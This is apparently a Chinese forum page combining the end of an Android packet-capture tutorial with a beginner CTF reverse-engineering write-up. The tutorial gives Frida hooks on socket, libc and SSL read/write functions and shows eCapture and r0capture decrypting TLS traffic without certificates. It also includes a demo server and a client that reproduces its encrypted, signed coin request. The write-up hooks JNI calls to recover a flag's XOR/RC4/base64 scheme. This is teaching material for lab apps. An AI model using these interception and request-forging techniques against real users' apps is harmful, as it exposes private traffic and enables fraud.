创建一个消息对象用于存储数据 var message = {}; message[ \\"function\\" ] = \\"HTTP_recv\\" ; // 标识为 HTTP 接收操作 message[ \\"ssl_session_id\\" ] = \\"\\" ; // SSL 会话 ID 为空 // 获取远程地址和端口(作为源地址) message[ \\"src_addr\\" ] = ntohl(ipToNumber(( this .socket.value.getRemoteSocketAddress().toString().split( \\":\\" )[0]).split( \\"/\\" ).pop())); message[ \\"src_port\\" ] = parseInt( this .socket.value.getRemoteSocketAddress().toString().split( \\":\\" ).pop()); // 获取本地地址和端口(作为目标地址) message[ \\"dst_addr\\" ] = ntohl(ipToNumber(( this .socket.value.getLocalAddress().toString().split( \\":\\" )[0]).split( \\"/\\" ).pop())); message[ \\"dst_port\\" ] = parseInt( this .socket.value.getLocalPort()); // 获取调用栈信息 message[ \\"stack\\" ] = Java.use( \\"android.util.Log\\" ).getStackTraceString(Java.use( \\"java.lang.Throwable\\" ).$ new ()).toString(); // 如果读取到的数据字节数大于 0,将数据拷贝到内存并发送 if (result > 0) { var ptr = Memory.alloc(result); for ( var i = 0; i < result; ++i) Memory.writeS8(ptr.add(i), bytearry[offset + i]); send(message, Memory.readByteArray(ptr, result)); } // 返回原始方法的结果 return result; } |
通过拦截 Java 中的 socketWrite0
和 socketRead0
方法,在数据发送和接收时收集相关信息并发送给指定的接收方,以便进行监控或调试
Hook实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | // 拦截 SSLOutputStream 类的 write 方法 Java.use( \\"com.android.org.conscrypt.ConscryptFileDescriptorSocket$SSLOutputStream\\" ).write.overload( \'[B\' , \'int\' , \'int\' ).implementation = function (bytearry, int1, int2) { // 调用原始的 write 方法 var result = this .write(bytearry, int1, int2); // 获取当前调用栈的字符串形式,存储 SSL 数据写入时的调用栈 SSLstackwrite = Java.use( \\"android.util.Log\\" ).getStackTraceString(Java.use( \\"java.lang.Throwable\\" ).$ new ()).toString(); // 返回原始方法的结果 return result; } // 拦截 SSLInputStream 类的 read 方法 Java.use( \\"com.android.org.conscrypt.ConscryptFileDescriptorSocket$SSLInputStream\\" ).read.overload( \'[B\' , \'int\' , \'int\' ).implementation = function (bytearry, int1, int2) { // 调用原始的 read 方法 var result = this .read(bytearry, int1, int2); // 获取当前调用栈的字符串形式,存储 SSL 数据读取时的调用栈 SSLstackread = Java.use( \\"android.util.Log\\" ).getStackTraceString(Java.use( \\"java.lang.Throwable\\" ).$ new ()).toString(); // 返回原始方法的结果 return result; } |
拦截了 SSLOutputStream
和 SSLInputStream
类的 write
和 read
方法,在进行数据读写时获取当前的调用栈信息
函数名称 | \\n描述 | \\n
---|---|
native.socketWrite0 | \\n这是一个 native 方法,负责从 Java 层向底层网络接口写入数据。 | \\n
libopenjdk.so.NET_Send | \\n这是 libopenjdk.so 中的一个函数,调用底层的 sendto 方法,用于发送数据。 | \\n
libc.so.sendto | \\n这是一个底层系统调用函数,将数据发送到指定的网络地址。 | \\n
native.socketRead0 | \\n这是一个 native 方法,用于从底层网络接口读取数据。 | \\n
libopenjdk.so.NET_Read | \\n这是 libopenjdk.so 中的一个函数,调用底层的 recvfrom 方法,负责接收数据。 | \\n
libopenjdk.so.recvfrom | \\n这是一个底层系统调用函数,用于从网络接口接收数据包。 | \\n
Hook实现 | \\n\\n |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | // 获取 libc.so 库中的 sendto 和 recvfrom 函数的指针 var sendtoPtr = Module.getExportByName( \\"libc.so\\" , \\"sendto\\" ); var recvfromPtr = Module.getExportByName( \\"libc.so\\" , \\"recvfrom\\" ); console.log( \\"sendto:\\" , sendtoPtr, \\", recvfrom:\\" , recvfromPtr); // 拦截 sendto 函数 // sendto(int fd, const void *buf, size_t n, int flags, const struct sockaddr *addr, socklen_t addr_len) Interceptor.attach(sendtoPtr, { onEnter: function (args) { // 获取文件描述符 fd var fd = args[0]; // 获取要发送的缓冲区指针 buff var buff = args[1]; // 获取数据大小 size var size = args[2]; // 获取套接字的相关信息 var sockdata = getSocketData(fd.toInt32()); console.log(sockdata); // 打印缓冲区的十六进制内容 console.log(hexdump(buff, { length: size.toInt32() })); }, onLeave: function (retval) { // 离开 sendto 函数时不做额外处理 } }); // 拦截 recvfrom 函数 // recvfrom(int fd, void *buf, size_t n, int flags, struct sockaddr *addr, socklen_t *addr_len) Interceptor.attach(recvfromPtr, { onEnter: function (args) { // 获取文件描述符 fd this .fd = args[0]; // 获取缓冲区指针 buff this .buff = args[1]; // 获取数据大小 size this .size = args[2]; }, onLeave: function (retval) { // 获取套接字的相关信息 var sockdata = getSocketData( this .fd.toInt32()); console.log(sockdata); // 打印接收到的缓冲区的十六进制内容 console.log(hexdump( this .buff, { length: this .size.toInt32() })); } }); |
拦截 sendto
和 recvfrom
函数,捕获发送和接收的数据包。onEnter
钩子函数用于在函数调用前处理参数,获取文件描述符和缓冲区地址,调用 hexdump
打印缓冲区内容以便查看实际发送或接收的数据
Hook实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 | // 获取 libc.so 库中的 write 和 read 函数的指针 var writePtr = Module.getExportByName( \\"libc.so\\" , \\"write\\" ); var readPtr = Module.getExportByName( \\"libc.so\\" , \\"read\\" ); console.log( \\"write:\\" , writePtr, \\", read:\\" , readPtr); // 拦截 write 函数 // write(int fd, const void *buf, size_t count) Interceptor.attach(writePtr, { onEnter: function (args) { // 获取文件描述符 fd var fd = args[0]; // 获取写入的数据缓冲区指针 buff var buff = args[1]; // 获取数据大小 size var size = args[2]; // 获取套接字信息(假设 getSocketData 是自定义函数) var sockdata = getSocketData(fd.toInt32()); // 如果套接字是 TCP 类型,打印相关数据 if (sockdata.indexOf( \\"tcp\\" ) !== -1) { console.log(sockdata); console.log(hexdump(buff, { length: size.toInt32() })); } }, onLeave: function (retval) { // 离开 write 函数时不做额外处理 } }); // 拦截 read 函数 // read(int fd, void *buf, size_t count) Interceptor.attach(readPtr, { onEnter: function (args) { // 获取文件描述符 fd this .fd = args[0]; // 获取读取的缓冲区指针 buff this .buff = args[1]; // 获取数据大小 size this .size = args[2]; }, onLeave: function (retval) { // 获取套接字信息 var sockdata = getSocketData( this .fd.toInt32()); // 如果套接字是 TCP 类型,打印相关数据 if (sockdata.indexOf( \\"tcp\\" ) !== -1) { console.log(sockdata); console.log(hexdump( this .buff, { length: this .size.toInt32() })); } } }); // 获取 libssl.so 中的 SSL_write、SSL_read 和 SSL_get_rfd 函数的指针 var sslWritePtr = Module.getExportByName( \\"libssl.so\\" , \\"SSL_write\\" ); var sslReadPtr = Module.getExportByName( \\"libssl.so\\" , \\"SSL_read\\" ); console.log( \\"sslWrite:\\" , sslWritePtr, \\", sslRead:\\" , sslReadPtr); // 获取 SSL_get_rfd 函数的指针,用于从 SSL 结构体中获取文件描述符 var sslGetFdPtr = Module.getExportByName( \\"libssl.so\\" , \\"SSL_get_rfd\\" ); // 使用 NativeFunction 创建对 SSL_get_rfd 函数的调用 var sslGetFdFunc = new NativeFunction(sslGetFdPtr, \'int\' , [ \'pointer\' ]); // 拦截 SSL_write 函数 // int SSL_write(SSL *ssl, const void *buf, int num) Interceptor.attach(sslWritePtr, { onEnter: function (args) { // 获取 SSL 对象指针 var sslPtr = args[0]; // 获取要发送的缓冲区指针 var buff = args[1]; // 获取数据大小 var size = args[2]; // 使用 SSL_get_rfd 获取文件描述符 var fd = sslGetFdFunc(sslPtr); // 获取套接字的数据(假设 getSocketData 是自定义函数) var sockdata = getSocketData(fd); // 打印套接字数据和发送数据的十六进制内容 console.log(sockdata); console.log(hexdump(buff, { length: size.toInt32() })); }, onLeave: function (retval) { // 离开 SSL_write 函数时不做额外处理 } }); // 拦截 SSL_read 函数 // int SSL_read(SSL *ssl, void *buf, int num) Interceptor.attach(sslReadPtr, { onEnter: function (args) { // 获取 SSL 对象指针 this .sslPtr = args[0]; // 获取接收缓冲区指针 this .buff = args[1]; // 获取接收数据的大小 this .size = args[2]; }, onLeave: function (retval) { // 使用 SSL_get_rfd 获取文件描述符 var fd = sslGetFdFunc( this .sslPtr); // 获取套接字的数据 var sockdata = getSocketData(fd); // 打印套接字数据和接收到的十六进制数据 console.log(sockdata); console.log(hexdump( this .buff, { length: this .size.toInt32() })); } }); |
r0capture简介
1 | python3 r0capture.py - U wuaipojie - v - p test.pcap |
what-is-ebpf
eBPF是一个运行在 Linux 内核里面的虚拟机组件,它可以在无需改变内核代码或者加载内核模块的情况下,安全而又高效地拓展内核的功能。
功能 | \\n描述 | \\n优势 | \\n
---|---|---|
系统调用监控 | \\n使用 eBPF 脚本监控应用程序的系统调用,帮助分析应用行为。 | \\n- 不需要修改目标程序<br>- 不易被应用程序检测<br>- 性能开销低 | \\n
应用程序插桩 | \\n通过 kprobe/uprobe/tracepoints/USDT 对应用程序进行动态插桩,用于监视或修改程序状态。 | \\n- 高度便携<br>- 无需重新编译应用程序<br>- 支持内核和用户空间 | \\n
性能问题分析 | \\n利用 eBPF 监控内核关键路径,识别性能瓶颈。 | \\n- 直接在内核层面工作,减少干扰<br>- 开销低,准确性高<br>- 易于实施,已有工具支持 | \\n
网络抓包 | \\n在内核网络层面上使用 eBPF 实现高效的数据包捕获,包括 HTTPS 流量。 | \\n- 无需设置代理或使用其他中间件<br>- 支持加密流量的捕获(理论上)<br>- 更加安全可靠 | \\n
ecapture
官方案例
eCapture主要利用了eBPF和HOOK技术:
eCapture 的工作原理涉及到用户态和内核态。用户态就是运行应用程序的地方,比如各种 App。在这个区域中,eCapture 通过一个共享的模块(Shared Object)获取应用程序的网络数据。然后,它将这些数据传递给内核态的 eBPF 程序进行分析和处理。
在内核空间,eCapture 通过 eBPF 插件捕捉网络层的数据流,比如数据包是从哪里来的、发到了哪里去。这一过程不需要修改应用程序本身,所以对系统性能影响很小。
安卓设备的内核版本只有在5.10版本上才可以进行无任何修改的开箱抓包操作(如果你的设备是安卓13,应该可以正常使用ecapture。低于13的安卓设备,如果内核是5.10,理论也是可行的。 因为安卓使用的linux内核的ebpf环境受内核版本号的影响,而工作良好的ebpf接口是在内核5.5版本时才全部使能。)
可通过adb命令查看自己的设备的内核版本
1 2 | adb shell cat / proc / version 或者adb shell uname - a |
1 2 | adb push ecapture / data / local / tmp / adb shell chmod 777 / data / local / tmp / ecapture |
使用说明
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 | NAME: eCapture - 通过eBPF捕获SSL / TLS明文数据,无需安装CA证书。支持Linux / Android内核,适用于amd64 / arm64架构。 USAGE: eCapture [flags] VERSION: androidgki_arm64:v0. 8.9 : 6.5 . 0 - 1025 - azure COMMANDS: bash 捕获bash命令的执行信息 gotls 捕获使用TLS / HTTPS加密的Golang程序的明文通信 help 获取有关任何命令的帮助信息 tls 用于捕获TLS / SSL明文内容,无需CA证书。支持OpenSSL 1.0 .x / 1.1 .x / 3.x 或更新版本。 DESCRIPTION: eCapture(旁观者)是一个可以捕获如HTTPS和TLS等明文数据包的工具,且不需要安装CA证书。 它还可以捕获bash命令,适用于安全审计场景,比如mysqld数据库审计等(在Android中禁用)。 支持Linux(Android)系统,内核版本为X86_64 4.18 或aarch64 5.5 及更高版本。 项目仓库:https: / / github.com / gojue / ecapture 官方主页:https: / / ecapture.cc 使用方法: ecapture tls - h ecapture bash - h Docker使用示例: docker pull gojue / ecapture:latest docker run - - rm - - privileged = true - - net = host - v ${HOST_PATH}:${CONTAINER_PATH} gojue / ecapture - h NAME: tls - 用于捕获TLS / SSL明文内容,无需CA证书。支持OpenSSL 1.0 .x / 1.1 .x / 3.x 及更新版本。 USAGE: eCapture tls [flags] DESCRIPTION: 使用eBPF uprobe / TC捕获进程事件数据和网络数据。还支持pcap - NG格式。 示例: ecapture tls - m [text|keylog|pcap] [flags] [pcap过滤表达式(用于pcap模式)] ecapture tls - m pcap - i wlan0 - w save.pcapng host 192.168 . 1.1 and tcp port 443 ecapture tls - l save.log - - pid = 3423 ecapture tls - - libssl = / lib / x86_64 - linux - gnu / libssl.so. 1.1 ecapture tls - m keylog - - pcapfile save_3_0_5.pcapng - - ssl_version = \\"openssl 3.0.5\\" - - libssl = / lib / x86_64 - linux - gnu / libssl.so. 3 ecapture tls - m pcap - - pcapfile save_android.pcapng - i wlan0 - - libssl = / apex / com.android.conscrypt / lib64 / libssl.so - - ssl_version = \\"boringssl 1.1.1\\" tcp port 443 Docker使用示例: docker pull gojue / ecapture docker run - - rm - - privileged = true - - net = host - v / etc: / etc - v / usr: / usr - v ${PWD}: / output gojue / ecapture tls - m pcap - i wlp3s0 - - pcapfile = / output / ecapture.pcapng tcp port 443 OPTIONS: - - cgroup_path = \\"/sys/fs/cgroup\\" 设置cgroup路径,默认值: / sys / fs / cgroup。 - h, - - help [ = false] 获取tls命令的帮助信息 - i, - - ifname = \\"\\" (TC Classifier) 要附加探针的网络接口名称 - k, - - keylogfile = \\"ecapture_openssl_key.og\\" 存储SSL / TLS密钥的文件,eCapture捕获加密通信中的密钥并将其保存到该文件 - - libssl = \\"\\" 指定libssl.so文件路径,默认从curl中自动查找 - m, - - model = \\"text\\" 捕获模型,可以是:text(明文内容),pcap / pcapng(原始数据包格式),key / keylog(SSL / TLS密钥) - w, - - pcapfile = \\"save.pcapng\\" 将原始数据包以pcapng格式写入文件 - - ssl_version = \\" \\" 指定OpenSSL/BoringSSL版本,例如:--ssl_version=\\" openssl 1.1 . 1g \\" 或 --ssl_version=\\" boringssl 1.1 . 1 \\" GLOBAL OPTIONS: - b, - - btf = 0 启用BTF模式( 0 :自动选择; 1 :核心模式; 2 :非核心模式) - d, - - debug[ = false] 启用调试日志 - - eventaddr = \\"\\" 设置接收捕获事件的服务器地址。默认值与logaddr相同(例如:tcp: / / 127.0 . 0.1 : 8090 ) - - hex [ = false] 以十六进制字符串打印字节数据 - - listen = \\"localhost:28256\\" 设置HTTP服务器的监听地址,默认值: 127.0 . 0.1 : 28256 - l, - - logaddr = \\"\\" 设置日志服务器的地址。例如: - l / tmp / ecapture.log 或 - l tcp: / / 127.0 . 0.1 : 8080 - - mapsize = 1024 设置每个CPU的eBPF映射大小(事件缓冲区)。默认值: 1024 * PAGESIZE(单位:KB) - p, - - pid = 0 设置目标进程 ID 。如果为 0 ,则目标为所有进程 - u, - - uid = 0 设置目标用户 ID 。如果为 0 ,则目标为所有用户 |
1 2 | adb shell ps | findstr 应用包名(获取进程pid) . / ecapture tls - p pid - m text |
服务端代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | import hashlib import json import base64 import time from Crypto.Cipher import AES from Crypto.Util.Padding import pad from cryptography.hazmat.primitives import padding from flask import Flask, jsonify, request app = Flask(__name__) # 加密函数 def aes_encrypt(data: str ) - > str : key = b \'1234567890abcdefwuaipojie0abcdef\' iv = b \'1234567wuaipojie\' # Initialization Vector cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_data = cipher.encrypt(pad(data.encode( \'utf-8\' ), AES.block_size)) return base64.b64encode(encrypted_data).decode( \'utf-8\' ) # 解密函数 def aes_decrypt(encrypted_data: str ) - > dict : key = b \'1234567890abcdefwuaipojie0abcdef\' iv = b \'1234567wuaipojie\' # Initialization Vector cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_bytes = base64.b64decode(encrypted_data) decrypted_data = cipher.decrypt(encrypted_bytes) unpadder = padding.PKCS7(AES.block_size * 8 ).unpadder() decrypted_unpadded = unpadder.update(decrypted_data) + unpadder.finalize() decrypted_str = decrypted_unpadded.decode( \'utf-8\' ) return json.loads(decrypted_str) # 读取用户数据 with open ( \'user_data.json\' , \'r\' ) as file : user_data = json.load( file ) # 写入本地JSON文件 def write_json_file(file_path: str , data: dict ): with open (file_path, \'w\' ) as file : json.dump(data, file , indent = 4 ) # 生成签名函数 def generate_signature(user_id: str , coin: int , timestamp: int ) - > str : message = f \\"{user_id}&{coin}&{timestamp}\\" hash_object = hashlib.md5(message.encode()) return hash_object.hexdigest() @app .route( \'/get_coin\' , methods = [ \'POST\' ]) def get_coin(): # 获取加密的数据 encrypted_data = request.json.get( \'user_data\' ) if not encrypted_data: return jsonify({ \\"error\\" : \\"数据有误!\\" }), 400 try : # 解密数据 decrypted_data = aes_decrypt(encrypted_data) # 验证签名 timestamp = int (decrypted_data.get( \'timestamp\' )) current_time = int (time.time() * 1000 ) print (timestamp) print ( abs (current_time - timestamp)) if abs (current_time - timestamp) > 5000 : return jsonify({ \\"error\\" : \\"请求过期!\\" }), 400 sign = decrypted_data.get( \'sign\' ) # 计算签名 expected_sign = generate_signature(decrypted_data[ \\"user_id\\" ], 1 , timestamp) if sign ! = expected_sign: return jsonify({ \\"error\\" : \\"签名验证失败!\\" }), 401 # 验证成功后,获取用户的金币数量 user_id = decrypted_data.get( \'user_id\' ) if user_id in user_data[ \'user_id\' ]: user_data[ \'coin_amount\' ] + = 1 # 增加金币数量 write_json_file( \'user_data.json\' , user_data) # 写入文件 return jsonify({ \\"投币成功,当前数量为:\\" : user_data[ \'coin_amount\' ]}) else : return jsonify({ \\"error\\" : \\"用户未找到!\\" }), 404 except Exception as e: return jsonify({ \\"error\\" : f \\"处理请求时出错: {str(e)}\\" }), 500 @app .route( \'/get_user_data\' , methods = [ \'GET\' ]) def get_user_data(): # 将数据转换成字符串形式以便于加密 data_str = json.dumps(user_data) return jsonify({ \\"user_data\\" : data_str}) if __name__ = = \'__main__\' : app.run(host = \'192.168.73.82\' , port = 5000 ) |
协议实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | import json import base64 import hashlib import time from Crypto.Cipher import AES from Crypto.Util.Padding import pad from datetime import datetime import requests # 生成签名函数 def generate_signature(user_id: str , coin: int , timestamp: int ) - > str : message = f \\"{user_id}&{coin}&{timestamp}\\" hash_object = hashlib.md5(message.encode()) return hash_object.hexdigest() # 加密函数 def aes_encrypt(data: str ) - > str : key = b \'1234567890abcdefwuaipojie0abcdef\' iv = b \'1234567wuaipojie\' # Initialization Vector cipher = AES.new(key, AES.MODE_CBC, iv) encrypted_data = cipher.encrypt(pad(data.encode( \'utf-8\' ), AES.block_size)) return base64.b64encode(encrypted_data).decode( \'utf-8\' ) # 模拟用户数据 user_data = { \\"user_id\\" : \\"zj2595\\" , \\"timestamp\\" : int (time.time() * 1000 ), # 当前时间的时间戳 \\"sign\\" : \\"\\", # 这个稍后计算并赋值 } # 计算签名 user_data[ \\"sign\\" ] = generate_signature(user_data[ \\"user_id\\" ], 1 , user_data[ \\"timestamp\\" ]) # 转换为JSON字符串 data_str = json.dumps(user_data) # 加密数据 encrypted_data = aes_encrypt(data_str) # 发送POST请求 try : response = requests.post( \'http://192.168.73.82:5000/get_coin\' , json = { \\"user_data\\" : encrypted_data}, ) if response.status_code = = 200 : print ( \\"投币成功\\" ) print ( \\"Response:\\" , response.json()) else : print (f \\"Request failed with status code: {response.status_code}\\" ) except requests.exceptions.RequestException as e: print (f \\"请求出现异常: {e}\\" ) |
百度云
阿里云
哔哩哔哩
教程开源地址
PS:解压密码都是52pj,阿里云由于不能分享压缩包,所以下载exe文件,双击自解压
炒冷饭汇总抓包姿势-上
安卓 App 逆向课程之四 frida 注入 Okhttp 抓包中篇
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
\\n\\n又是一个周五晚上,就在刚才搜集到这道题的关键“证据”,到这里这道题算是完全”破解“成功(开心)。所以就写一篇文章,总结下我的心路历程吧,包括但不限于:
\\n总之,完全是新手向的文章,遇到的坑,一步步怎么做,我都会说清楚,即使你是新手也没关系。
\\n然后,这也是我第一次真真切切深入安卓逆向,之前只是静态反编译解决,这次学习了frida,CE(cheat engine),安卓模拟器等工具使用,写篇文章,也算是自己的一个阶段性总结。
\\n看完这篇文章你讲学到:
\\n题目非常简单,输入n1ctf{flag}, 点击check检查,很正规的安卓题
\\n放入jadx-gui查看一下主逻辑:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | public class MainActivity extends AppCompatActivity { private ActivityMainBinding binding; public native String enc(String str); public native String stringFromJNI(); /* JADX INFO: Access modifiers changed from: protected */ @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity public void onCreate(Bundle bundle) { super.onCreate(bundle); ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater()); this.binding = inflate; setContentView(inflate.getRoot()); this.binding.CheckButton.setOnClickListener(new View.OnClickListener() { // from class: com.n1ctf2024.ezapk.MainActivity$$ExternalSyntheticLambda0 @Override // android.view.View.OnClickListener public final void onClick(View view) { MainActivity.this.m157lambda$onCreate$0$comn1ctf2024ezapkMainActivity(view); } }); } /* JADX INFO: Access modifiers changed from: package-private */ /* renamed from: lambda$onCreate$0$com-n1ctf2024-ezapk-MainActivity, reason: not valid java name */ public /* synthetic */ void m157lambda$onCreate$ 0 $comn1ctf2024ezapkMainActivity(View view) { String obj = this .binding.flagText.getText().toString(); if (obj.startsWith( \\"n1ctf{\\" ) && obj.endsWith( \\"}\\" )) { if (enc(obj.substring( 6 , obj.length() - 1 )).equals( \\"iRrL63tve+H72wjr/HHiwlVu5RZU9XDcI7A=\\" )) { Toast.makeText( this , \\"Congratulations!\\" , 1 ).show(); return ; } else { Toast.makeText( this , \\"Try again.\\" , 0 ).show(); return ; } } Toast.makeText( this , \\"Try again.\\" , 0 ).show(); } static { System.loadLibrary( \\"native2\\" ); System.loadLibrary( \\"native1\\" ); } } |
可以看到主要逻辑在enc中,enc 属于native 函数,通过JNI调用,enc位于通过System.loadLibrary()的两个so中
\\nida 打开libnative.so反编译会发现有大量的类似指针数组的调用,其实这是JNI调用
\\n关于JNI调用可以看:[https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html)
native code 想要访问java VM的特性就需要调用JNI函数,调用JNI函数需要JNI interface pointer
\\n并且JNI interface pointer是native函数的第一个参数,如下:
\\n1 2 3 4 5 6 7 8 9 | package pkg; class Cls { native double f( int i, String s); ... } |
这里 double 会经过名称混淆变为Java_pkg_Cls_f_ILjava_lang_String_2
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | jdouble Java_pkg_Cls_f__ILjava_lang_String_2 ( JNIEnv *env, /* interface pointer */ jobject obj, /* \\"this\\" pointer */ jint i, /* argument #1 */ jstring s) /* argument #2 */ { /* Obtain a C-copy of the Java string */ const char *str = (*env)->GetStringUTFChars(env, s, 0); /* process the string */ ... /* Now we are done with str */ (*env)->ReleaseStringUTFChars(env, s, str); return ... } |
JNI interface pointer是一个pointer to pointer,具体来说就是一个指针数组,这个数组保存着JNI函数的地址,包括:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | const struct JNINativeInterface ... = { NULL, NULL, NULL, NULL, GetVersion, DefineClass, //... 太长省略 GetJavaVM, GetStringRegion, GetStringUTFRegion, //... GetObjectRefType }; |
但是ida中并没有JNIEnv等等结构体,一个个倒入自动识别太麻烦,手动计算又太蠢
\\n该怎么办呢?
\\n其实真正常用的JNI 函数就那几个,可以看到enc中传入了字符串,所以native函数想要获取这个字符串,会调用关于String的JNI调用 一般为GetStringUTFChars
\\n关于环境:我的pc是mac m1,手头也没有安卓设备,最后选择mu mu pro模拟器(啥都好,就是要花钱)
在mu mu pro模拟器中安装好 frida server后,运行frida server后就可以hook了
\\nJava.perform(() => {\\n const MainActivity = Java.use(\\"com.n1ctf2024.ezapk.MainActivity\\"); \\n \\n MainActivity.enc.implementation = function(input) {\\n console.log(\\"enc called with input:\\", input);\\n const result = this.enc(input);\\n startHook();\\n // startHooklib();\\n console.log(\\"enc returned:\\", result);\\n\\n return result;\\n };\\n});\\n\\nfunction startHook(){\\n const lib_art = Process.findModuleByName(\'libart.so\');\\n const symbols = lib_art.enumerateSymbols();\\n for (let symbol of symbols) {\\n var name = symbol.name;\\n if (name.indexOf(\\"art\\") >= 0) {\\n if ((name.indexOf(\\"CheckJNI\\") == -1) && (name.indexOf(\\"JNI\\") >= 0)) {\\n if (name.indexOf(\\"GetStringUTFChars\\") >= 0) {\\n console.log(\'start hook\', symbol.name);\\n Interceptor.attach(symbol.address, {\\n onEnter: function (arg) {\\n console.log(\'GetStringUTFChars called from:\\\\n\' + Thread.backtrace(this.context, Backtracer.ACCURATE).map(DebugSymbol.fromAddress).join(\'\\\\n\') + \'\\\\n\');\\n },\\n onLeave: function (retval) {\\n console.log(\'onLeave GetStringUTFChars:\', ptr(retval).readCString())\\n }\\n })\\n }\\n }\\n }\\n }\\n}\\n\\n
运行结果
\\n// frida -U -f com.n1ctf2024.ezapk -l hook.js\\nGetStringUTFChars called from:\\n0x6d55c7117c libnative1.so!0x1b17c\\n//没有 多点几次 hook和输出在一起 所有你需要hook了 再点几次\\n\\n
这里就知道sub_1b148是enc了
\\n接下来,定位enc调用了哪些函数,还是hook
\\nava.perform(() => {\\n const MainActivity = Java.use(\\"com.n1ctf2024.ezapk.MainActivity\\"); \\n \\n MainActivity.enc.implementation = function(input) {\\n console.log(\\"enc called with input:\\", input);\\n const result = this.enc(input);\\n //startHook();\\n startHooklib();\\n console.log(\\"enc returned:\\", result);\\n\\n return result;\\n };\\n});\\n\\nfunction startHooklib(){\\n\\n var functions_lib1 = Module.enumerateExports(\\"libnative1.so\\");\\n functions_lib1 = []\\n var functions_lib2 = Module.enumerateExports(\\"libnative2.so\\");\\n \\n functions_lib1 = functions_lib1.map(item => {\\n return { ...item, module: \\"libnative1.so\\" }; \\n })\\n\\n functions_lib2 = functions_lib2.map(item => {\\n return { ...item, module: \\"libnative2.so\\" }; \\n })\\n\\n var functions = [...functions_lib1,...functions_lib2];\\n\\n // {\\n // \\"address\\": \\"0x6d56602ca8\\",\\n // \\"name\\": \\"aE7KMLpKuUbB\\",\\n // \\"type\\": \\"function\\"\\n // }\\n \\n \\n functions.forEach(function(func) {\\n var moduleBase_lib1 = Module.findBaseAddress(func.module);\\n var moduleBase_lib2 = Module.findBaseAddress(func.module);\\n if ( moduleBase_lib1 && moduleBase_lib2) {\\n var address = func.address\\n // console.log(\\"Attaching to function at \\" + func.module + \\"!\\" + func.addr);\\n Interceptor.attach(address, {\\n onEnter: function(args) {\\n console.log(func.module + \\" function called at \\" + func.address + \\" \\" + func.name);\\n },\\n onLeave: function(retval) {\\n console.log(func.module + \\" function returned at \\"+ func.address + \\" \\" + func.name);\\n }\\n });\\n } else {\\n console.log(\\"Module \\" + func.module + \\" not found!\\");\\n }\\n });\\n}\\n\\n
运行结果
\\nlibnative2.so function called at 0x6d55c0306c iusp9aVAyoMI\\nlibnative2.so function returned at 0x6d55c0306c iusp9aVAyoMI\\nlibnative2.so function called at 0x6d55c032c0 SZ3pMtlDTA7Q\\nlibnative2.so function returned at 0x6d55c032c0 SZ3pMtlDTA7Q\\nlibnative2.so function called at 0x6d55c03ab0 UqhYy0F049n5\\nlibnative2.so function returned at 0x6d55c03ab0 UqhYy0F049n5\\n\\n
这就获取了调用顺序,在ida里看一下,一眼丁真,分别是EOR,rc4,base64
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | _BYTE *__fastcall iusp9aVAyoMI( __int64 a1, size_t a2) { size_t i; // [xsp+0h] [xbp-40h] _BYTE *v4; // [xsp+8h] [xbp-38h] v4 = malloc (a2); __memcpy_chk(v4, a1, a2, -1LL); for ( i = 0LL; i < a2; ++i ) v4[i] ^= rand (); return v4; } _BYTE *__fastcall SZ3pMtlDTA7Q( __int64 a1, int a2) { v20[2] = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 3, 13, 0, 2)) + 40); v16 = malloc (a2); __memcpy_chk(v16, a1, a2, -1LL); v20[1] = 0LL; v20[0] = 0LL; for ( i = 0; i < 16; ++i ) *((_BYTE *)v20 + i) = rand (); // .... } |
可以看到EOR和rc4的密钥都是rand()获取的,libnative2.so中的.init.array中有个init函数,初始化了随机种子
\\n1 2 3 4 | void init() { srand (0x134DAD5u); } |
真正解密会发现解密失败,实际上这里rand被修改了,如法炮制,在libnative1.so的.init.array中有三个函数
